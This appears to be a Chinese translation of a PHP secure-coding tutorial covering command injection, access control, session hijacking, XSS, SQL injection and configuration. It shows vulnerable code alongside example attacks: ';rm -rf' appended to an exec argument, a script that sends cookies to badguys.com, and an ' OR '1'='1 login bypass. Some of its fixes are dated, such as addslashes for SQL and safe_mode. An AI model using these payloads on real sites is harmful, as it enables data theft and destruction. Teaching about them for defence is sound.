您的位置主页 > PHP

PHP 的 7 大安全错误(中文版)

为了适应动态网站的迅速发展,PHP 是一个极好的语言选择。对初学者它有很多友好的特性,例如不需要声明变量类型。同时,这些特性也会使开发者无意之中在程序里留下安全漏洞。一些流行的安全相关的邮件列表描述了很多 PHP 应用程序的漏洞,但是只要明白了容易犯的基本安全错误,PHP可以像其他任何语言一样安全。
再这篇文章里,我会详细的阐述一些经常导致安全漏洞的 PHP 编程错误。在告诉你不该做什么和每一个漏洞是怎么产生的时候,我希望你不仅能理解怎样去避免这些错误,而且也能明白为什么会产生这些安全漏洞。明白了每一个潜在的安全漏洞会帮助你避免再犯同样的错误。
安全措施是一个过程,不是一个产物。在开发过程中采用一个好的安全处理方法会让你写出更严谨和健壮的代码。
未经验证的输入PHP 中最常见的安全隐患之一是没有经过验证的输入错误。用户提供的数据通常是不能信任的,所以应当假设每一个 web 访问者怀有恶意—事实上他们当中确实有一些是这样的。没有经过验证或者验证不当的输入是其他许多溢出错误的根源。
举一个例子,你可能会用下面的代码调用 UNIX 的 cal 命令实现月历功能
[color=#0000ff]$month[/color] = [color=#0000ff]$_GET[/color][color=#66cc66][[/color][color=#ff0000]'month'[/color][color=#66cc66]][/color];
[color=#0000ff]$year[/color] = [color=#0000ff]$_GET[/color][color=#66cc66][[/color][color=#ff0000]'year'[/color][color=#66cc66]][/color];

[url=http://www.php.net/exec][color=#000066]exec[/color][/url][color=#66cc66]([/color][color=#ff0000]"cal $month $year"[/color], [color=#0000ff]$result[/color][color=#66cc66])[/color];
[url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"<PRE>"[/color];
[color=#b1b100]foreach[/color] [color=#66cc66]([/color][color=#0000ff]$result[/color] [color=#b1b100]as[/color] [color=#0000ff]$r[/color][color=#66cc66])[/color] [color=#66cc66]{[/color] [url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"$r<BR>"[/color]; [color=#66cc66]}[/color]
[url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"</PRE>"[/color];
这段代码由一个很大的漏洞,$_GET[month] 和 $_GET[year] 变量没有经过任何验证。只要输入的月份是介于 1 和 12 之间的数字并且年份是一个 4 位数字,这段代码运行良好。但是,恶意的用户只要在年份的后面加上 ';ls -la' 就会列出整个网站的 Web 目录。同样另一个相当危险的漏洞,';rm -rf' 的后缀会删除所有的网页。
正确的处理方法是确保你得到的数据是你预期的。不要用 Javascript 来验证,恶意用户会创建自己的表单来禁用 javascript,因此会很容易的绕过验证。正如下面列出的,你必须用 PHP 代码确保月份和年份的输入是数字,并且只能是数字。
[color=#0000ff]$month[/color] = [color=#0000ff]$_GET[/color][color=#66cc66][[/color][color=#ff0000]'month'[/color][color=#66cc66]][/color];
[color=#0000ff]$year[/color] = [color=#0000ff]$_GET[/color][color=#66cc66][[/color][color=#ff0000]'year'[/color][color=#66cc66]][/color];

[color=#b1b100]if[/color] [color=#66cc66]([/color]![url=http://www.php.net/preg_match][color=#000066]preg_match[/color][/url][color=#66cc66]([/color][color=#ff0000]"/^[0-9]{1,2}$/"[/color], [color=#0000ff]$month[/color][color=#66cc66])[/color][color=#66cc66])[/color] [url=http://www.php.net/die][color=#000066]die[/color][/url][color=#66cc66]([/color][color=#ff0000]"Bad month, please re-enter."[/color][color=#66cc66])[/color];
[color=#b1b100]if[/color] [color=#66cc66]([/color]![url=http://www.php.net/preg_match][color=#000066]preg_match[/color][/url][color=#66cc66]([/color][color=#ff0000]"/^[0-9]{4}$/"[/color], [color=#0000ff]$year[/color][color=#66cc66])[/color][color=#66cc66])[/color] [url=http://www.php.net/die][color=#000066]die[/color][/url][color=#66cc66]([/color][color=#ff0000]"Bad year, please re-enter."[/color][color=#66cc66])[/color];

[url=http://www.php.net/exec][color=#000066]exec[/color][/url][color=#66cc66]([/color][color=#ff0000]"cal $month $year"[/color], [color=#0000ff]$result[/color][color=#66cc66])[/color];
[url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"<PRE>"[/color];
[color=#b1b100]foreach[/color] [color=#66cc66]([/color][color=#0000ff]$result[/color] [color=#b1b100]as[/color] [color=#0000ff]$r[/color][color=#66cc66])[/color] [color=#66cc66]{[/color] [url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"$r<BR>"[/color]; [color=#66cc66]}[/color]
[url=http://www.php.net/print][color=#000066]print[/color][/url] [color=#ff0000]"</PRE>"[/color];
这些代码可以安全的使用,并且不用担心用户的输入是否会危及到应用程序和服务器的安全。正则表达式是检验输入的很好的工具,虽然他们不容易掌握,但在这方面确实非常有用。
你应当在验证用户数据时把所有非预期的数据剔除掉,而不是仅仅剔除有危害的数据—这是经常见的安全漏洞原因。有时,恶意用户会绕过这些常用的验证方法,例如输入一些带有 NULL 的非法数据。这些做法通常会绕过检验,但仍然会对安全产生威胁。
你应当尽可能严格的检验输入的数据。如果有些字符不会被用到,那么就应该剔除掉或者拒绝此次的全部输入。
权限控制漏洞另一种易受安全威胁的就是权限控制,虽然并非只针对 PHP,但仍然是不容忽视的。这种隐患通常存在于针对特定用户的应用程序,例如后台管理这样可以修改配置或者显示敏感数据的地方。
你应当在每一个针对特定用户的页面检查用户的权限级别。如果只在首页检查,那么一个恶意用户就可以直接在地址栏里输入通过检查之后调用的页面,这样就可以跳过身份验证。
对安全分级是非常明智的,如果你的用户 IP 是固定的或者在特定范围之内,那么就可以根据用户的 IP 和用户名对权限做出控制。把特定的页面放在特定的目录,并用 apache 的 .htaccess 保护起来,是非常好的做法。
把保存配置的文件放在 Web 目录之外。一个配置文件可以保存数据库密码或者其他可以让恶意用户入侵或修改网站的重要信息;绝对不要让这些文件可以被远程用户访问到。用 PHP 的 include 函数包含 web 目录之外的文件,这些目录里也要放一个含有 'deny from all' 的 .htaccess 文件,防止管理员的疏忽而让这些目录称为 web 目录。虽然这显得有些多余,但对于安全仍然是一个积极的做法。
在我做的 PHP 程序当中,我比较喜欢下面列出的目录结构。所有的函数库,类文件和配置文件都放在 include 目录里。这些文件都要以 .php 结尾,目的就是在保护措施失效的情况下,Web 服务器会对这些文件解析,而不是直接显示出内容。www 和 admin 目录是唯一两个可以通过URL直接访问的目录; admin 目录通过 .htaccess 保护,只允许知道用户名和密码的用户进入,这些用户名和密码都保存在根目录的 .htpasswd 文件中。
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.[b]class[/b].php
config.php
/logs
access_log
[url=http://www.php.net/error_log][color=#000066]error_log[/color][/url]
/www
index.php
/admin
.htaccess
index.php
你应当设置 Apache 的索引文件为 index.php,并且在每一个目录里都放置一个 index.php 文件。那些不可以浏览目录里的 index.php 文件都应当指向你的主页,例如放置图片的目录的 index.php 等。
绝对不要在 web 目录里存放 .bak 结尾的备份文件或以其他扩展名结尾的文件。根据不同的 web 服务器,上述文件类型中所包含的 PHP 代码不会被服务器解析,很可能会直接向用户输出源代码。如果这些文件包含密码或者其他敏感信息,那么这些信息将是可读的—如果被 Google 的机器人捕捉到,这些信息很可能会被列入搜索引擎的索引中。将 .php 后缀到 .bak 文件比相反的做法更安全,但最好的解决办法是用一个源码版本控制系统如 CVS。学习 CVS 可能会复杂一些,但这是值得的,这个系统可以保护每一个版本的每一个文件。
会话ID的保护截获会话 Id 可以说是 PHP 网站所面临的一个问题。PHP 的会话跟踪系统使用一个唯一 ID,如果这个 ID 被其他用户得到,那么这个用户就可以截获这个会话进而看到一些私密信息。截获会话 ID 通常很难完全避免;你必须明白它的危险来尽可能的减少这种隐患。
例如,即使在一个用户经过身份验证并分配了一个会话 ID 之后,在它执行一个高度敏感的动作例如修改密码时,仍然要重新验证身份。绝对不要让一个仅通过会话验证的用户在不输入旧密码的情况下去修改密码。你也应当避免直接向一个仅通过会话ID验证的用户显示高度敏感的数据,例如信用卡号。
一个用户在登录网站之后应当通过 session_regenerate_id 分配一个新的会话 ID。这样就可以阻止一个恶意用户会用以前的会话 ID 去尝试登录。
如果你的网站会处理一些像信用卡密码这样的机密信息,那么一定要使用 SSL 连接。这样会话 ID 不会被探嗅到而且不容易被截获,就可以减少会话截获的危险。
如果你的站点运行在一个共享主机上,需要注意会话变量可以很容易的被同一服务器上的其他用户浏览。为了减少此类风险,可以把敏感的数据以会话 ID 为主键保存在数据库中,这样比直接保存在会话变量中要好的多。如果必须要在会话变量中保存密码(我还是要强调尽量避免这样做),不要直接保存密码的明文,用sha1或者md5函数加密后保存在会话变量中。
[color=#b1b100]if[/color] [color=#66cc66]([/color][color=#0000ff]$_SESSION[/color][color=#66cc66][[/color][color=#ff0000]'password'[/color][color=#66cc66]][/color] == [color=#0000ff]$userpass[/color][color=#66cc66])[/color] [color=#66cc66]{[/color]
[color=#808080][i]// do sensitive things here [/i][/color]
[color=#66cc66]}[/color]
上面的代码把密码以平文保存在会话变量中,这样是不安全的。应该这样作:
[color=#b1b100]if[/color] [color=#66cc66]([/color][color=#0000ff]$_SESSION[/color][color=#66cc66][[/color][color=#ff0000]'sha1password'[/color][color=#66cc66]][/color] == [url=http://www.php.net/sha1][color=#000066]sha1[/color][/url][color=#66cc66]([/color][color=#0000ff]$userpass[/color][color=#66cc66])[/color][color=#66cc66])[/color] [color=#66cc66]{[/color]
[color=#808080][i]// do sensitive things here [/i][/color]
[color=#66cc66]}[/color]
SHA-1 算法并不是一点风险也没有,随着计算机计算能力的不断加强,使得用“碰撞”的暴力方法可以破解。但是这样的技术仍然要比直接保存密码的明文好的多。如果必须,可以用MD5算法,它比明文保存密码安全,但最近的研究表明 MD5 的“碰撞”可以在一台普通 PC 上不到一个小时就可以算出。理论上,应当使用 SHA-256 这样的安全算法,但是这个算法目前并不被 PHP 默认支持,需要另外的扩展支持。
如果要获取更多关于散列碰撞的安全相关文章,Bruce Schneier's Website 是一个不错的站点。
跨站脚本攻击跨站脚本攻击或者 XSS,是恶意用户利用验证上的漏洞将脚本命令嵌入到可以显示的数据中,使其在另一个用户浏览时可以执行这些脚本命令。
例如,如果你的站点包含一个用户可以交流信息的论坛,一个恶意用户就会在发布的信息中嵌入<script>标签,如下文所示。这样网页首先会被重定向到一个被他们所控制的站点,将用户的cookie和会话信息通过GET变量传递到他们的网页,然后再指向论坛的网页,整个过程就像什么也没发生一样。这样恶意用户就会收集其他用户的cookie和会话信息,用来进行会话截获攻击或者其他破坏行为。
[b]<script language[/b]=[color=#ff0000]"javascript"[/color]>
document.location = [color=#ff0000]'http://www.badguys.com/cgi-bin/cookie.php?'[/color] + document.cookie;
[b]</script>[/b]
要阻止这样的攻击,首先要特别注意怎样显示用户提交的数据。最简单的方法就是将 HTML 语法的字符(特别注意<和>)转化为 HTML 实体,这样就可以将用户提交的数据转化为作为显示的文本。因此,只要在显示的时候将数据用 htmlspecialchars 函数过滤一下即可。
如果你的应用程序需要用户提交 HTML 的内容,并且将他们作为 HTML 来对待,你必须把像 <script> 这样危险的标记过滤掉。最好是在提交得时候就进行过滤,这需要一点正则表达式的知识。
SQL 注入的危险SQL 注入攻击是另一种输入验证上的漏洞。这种漏洞可以允许执行数据库命令。例如,在你的PHP脚本中,可能会要求用户输入用户 ID 和密码,然后通过数据库查询获得结果来检查用户 ID 和密码是否正确。
SELECT * FROM users WHERE name=[color=#ff0000]'$username'[/color] AND pass=[color=#ff0000]'$password'[/color];
但是,如果一个用户在登录时不怀好意,他可能会这样输入密码:
[color=#ff0000]' OR '[/color][color=#cc66cc]1[/color][color=#ff0000]'='[/color][color=#cc66cc]1[/color]
执行数据库的命令就成为如下所示:
SELECT * FROM users WHERE name=[color=#ff0000]'known_user'[/color] AND pass=[color=#ff0000]''[/color] OR [color=#ff0000]'1'[/color]=[color=#ff0000]'1'[/color];
这样就会不经过密码验证而返回用户名——恶意用户就会任意选择用户名登录。为了避免这样的问题,应该对用户提交的数据进行危险字符的过滤,最主要的就是单引号(')的过滤。一个简单的方法就是用 addslashes 函数过滤。
[color=#0000ff]$username[/color] = [url=http://www.php.net/addslashes][color=#000066]addslashes[/color][/url][color=#66cc66]([/color][color=#0000ff]$_POST[/color][color=#66cc66][[/color][color=#ff0000]"username"[/color][color=#66cc66]][/color][color=#66cc66])[/color];
[color=#0000ff]$password[/color] = [url=http://www.php.net/addslashes][color=#000066]addslashes[/color][/url][color=#66cc66]([/color][color=#0000ff]$_POST[/color][color=#66cc66][[/color][color=#ff0000]"password"[/color][color=#66cc66]][/color][color=#66cc66])[/color];
但是根据你的 PHP 设置,也许可以不需要这样做。PHP 一个经常被争论的问题就是 magic quotes 在当前版本中默认设置为启用。这个特性——可以在 php.ini 文件中设置 magic_quotes_gpc 变量来禁用——会自动的对 GET,POST 和 cookie 变量进行 addslashes 过滤。这个特性是针对缺乏经验的开发者有可能留下上文所述的安全漏洞,但是在不需要过滤的情况下,会对性能产生一些负面影响。所以,大多数有经验的开发者都会关掉这个特性。
如果你是在共享主机上开发软件,可能会没有权限修改 php.ini,那么用函数检查 magic_quotes_gpc选项的设置,如果是启用,则将所有输入得数据用 stripslashes 函数过滤掉转义,然后再像往常一样对需要的数据进行 addslashes 过滤。
[color=#b1b100]if[/color] [color=#66cc66]([/color][url=http://www.php.net/get_magic_quotes_gpc][color=#000066]get_magic_quotes_gpc[/color][/url][color=#66cc66]([/color][color=#66cc66])[/color][color=#66cc66])[/color][color=#66cc66]{[/color]
[color=#0000ff]$_GET[/color] = [url=http://www.php.net/array_map][color=#000066]array_map[/color][/url][color=#66cc66]([/color][color=#ff0000]'stripslashes'[/color], [color=#0000ff]$_GET[/color][color=#66cc66])[/color];
[color=#0000ff]$_POST[/color] = [url=http://www.php.net/array_map][color=#000066]array_map[/color][/url][color=#66cc66]([/color][color=#ff0000]'stripslashes'[/color], [color=#0000ff]$_POST[/color][color=#66cc66])[/color];
[color=#0000ff]$_COOKIE[/color] = [url=http://www.php.net/array_map][color=#000066]array_map[/color][/url][color=#66cc66]([/color][color=#ff0000]'stripslashes'[/color], [color=#0000ff]$_COOKIE[/color][color=#66cc66])[/color];
[color=#66cc66]}[/color]
通常SQL注入不会导致用户权限上的问题,只会允许恶意用户获得某些特定数据库和数据表中的内容。
你应当检查用户提交的所有数据,其中可能包含数据库命令用到的字符例如单引号,双引号,逗号,分号和括号。如果可能,对“FROM”,“LIKE”和“WHERE”这样的关键词进行不区分大小写的检查。这些都是SQL注入攻击中常用的字符和关键词,如果你不需要用到他们则将他们过滤调,这样此类攻击的危险就会大大降低。
错误报告你应当确保 php.ini 中 display_errors 重的设置为 0,否则,你的代码产生的任何错误,例如数据库连接错误,将会显示在最终用户面前。一个恶意用户只要输入一些非法数据然后观察、分析错误信息,就会获得程序内部运行机制的一些信息。
Display_errors 的值可以在运行期间通过 ini_set 函数来设置,但仍然不如通过在 php.ini 中设置。如果你的脚本发生了一个致命错误而终止了运行,那么ini_set函数就不会起作用,错误信息仍然会被显示。
为了替代直接显示错误信息,把 ini 中的 error_log 设为1,并且经常检查PHP的错误日志来获取错误信息。通常,你也可以写一个自己的错误处理函数来处理 PHP 中产生的错误,并可以用 email 通知你或者执行特定的一段 PHP 代码。在恶意用户知道一个可能的错误产生之前就将错误修复,这是一个明智的事先准备工作,。可以去PHP手册中的错误处理部分看一下 set_error_handler 函数的用法。
数据处理错误数据处理错误并非只针对 PHP,但 PHP 的开发人员仍然需要注意。此类错误通常是因为采用了不安全数据处理方法,而且会导致恶意用户对数据的监听或者修改。
最常见的数据处理错误就是将本来应该通过 HTTPS 传送的数据在未加密的 HTTP 上传输。信用卡密码和用户个人信息应该是作为私密的安全信息来处理,但是如果你通过普通的 HTTP 连接来传输用户名和密码,那么你也很可能用这种未加密的方式来传输那些敏感的数据。在你的应用程序和用户的浏览器通讯时,一定用SSL安全连接来传输敏感的信息。否则,恶意的监听者就可以在你的应用程序与最终用户之间的任何路由器上通过数据包探嗅到那些敏感的信息。
在使用 FTP 这种不安全的协议时会承担同样的风险。用 FTP 上传包含数据库用户名和密码的 PHP 文件到远程 WEB 服务器时,恶意的监听者就会通过探嗅数据包来获得密码。一定要用 SFTP 或者 SCP 协议来传输敏感的文件,也不要用 email 来传输敏感信息。对于任何有能力获得网络传输数据的人来说,email 的信息都是可读的。就像你不会把重要信息写在明信片的背面然后投到信箱里一样,你也不要用 email 来传递这些信息。虽然实际上这些信息被监听的机会很小,但是为什么要承担这个风险?
重要的一点就是尽可能的减少暴露数据处理错误的漏洞。例如,如果你的应用程序是一个在线商店,对那些 6 个月之前的信用卡号和订单还有必要保存么?将他们放在一个离线的机器上作为存档,并对这些数据的数量做一个限制防止万一这些机器被非法入侵。对于阻止入侵和减少安全威胁,或者是尽可能的减少一次成功黑客的攻击所带来的损失,这些都是最基本的原则。没有一个安全系统是完美的,所以不要存有侥幸心理。如果你存在入侵的风险一定要采取措施来减少损失。
配置PHP的安全选项通常来讲,通过最新发布的 PHP 来进行安装,比起之前发布的 PHP,都会获得更见安全的配置选项。你的应用程序也许会放在一个通过升级来获得最新 PHP 版本的 web 服务器上,但是 php.ini 没有升级。在这种情况下,默认设置也许就不会像新的安装一样安全。
你应当创建一个包含 phpinfo 函数的页面,列出你的 php.ini 变量来检查不安全的设置。把这个页面保存在特定的地方,不要让公共人员可以访问。phpinfo() 产生的信息会包含那些对黑客十分有用的信息。
配置PHP安全选项时下面是要考虑到的:
[list][*][b]Register_globals:[/b]
PHP 安全的最大杀手就是 register_globals。在 PHP 过去的版本中这个设置默认是为 on 的,但是在最近的版本中关掉了此项设置。这个选项可以把用户所有的输入作为全局变量,你所要做的就是检查这这项设置并且关掉它——[i]没有但是,也没有例外,一定要这样做![/i]这项设置是其他 PHP 安全漏洞最大的潜在隐患,如果你在使用共享主机但是却不能禁止 register_globals,那么就换一个空间服务商!
[*][b]Safe_mode:[/b]
阻止未授权的用户访问本地文件系统,这个选项是十分有用的。它只允许拥有此脚本的用户来执行读文件的操作。如果你的应用程序经常打开本地文件,记住要启用此项设置。
[*][b]Disable_functions:[/b]
这项设置不能在运行期间修改,只能在 php.ini 文件中设置。你可以在此项设置中创建一个函数列表来禁用这些函数。这样就能阻止潜在的危险的PHP代码的执行。 system和exec函数如果你用不到的话,就将他们禁用,因为这些函数允许执行内部其他程序。
[/list]去读一下PHP手册中的安全部分,那么你就可以更好的了解这些。把这当作一次测试,你就可以更好的了解来龙去脉。一些黑客在尝试入侵你的站点时你的安全知识就会得到检验。如果那些黑客放弃了攻击或者转向其他更容易攻击的对象,那么你就通过了考试。
持续学习新的漏洞和入侵一直都在被发现,所以对于以往的成功安全措施没有任何值得骄傲的地方,一定要有未雨绸缪的心态。正如我在文章开始所说,“安全措施是一个过程”,同样学习安全知识也是一个过程,你必须要牢牢掌握这些知识。
总结正如本文所述,像其他语言和平台一样,PHP 编程需要注意很多安全方面的问题。PHP 和其他许多编程语言一样,本身是十分安全的。最重要的就是有一个正确的安全理念,并且对 PHP 要相当熟悉。我希望你能喜欢这篇文章并且能从中获益。记住:对于安全问题,不要存在任何侥幸心理!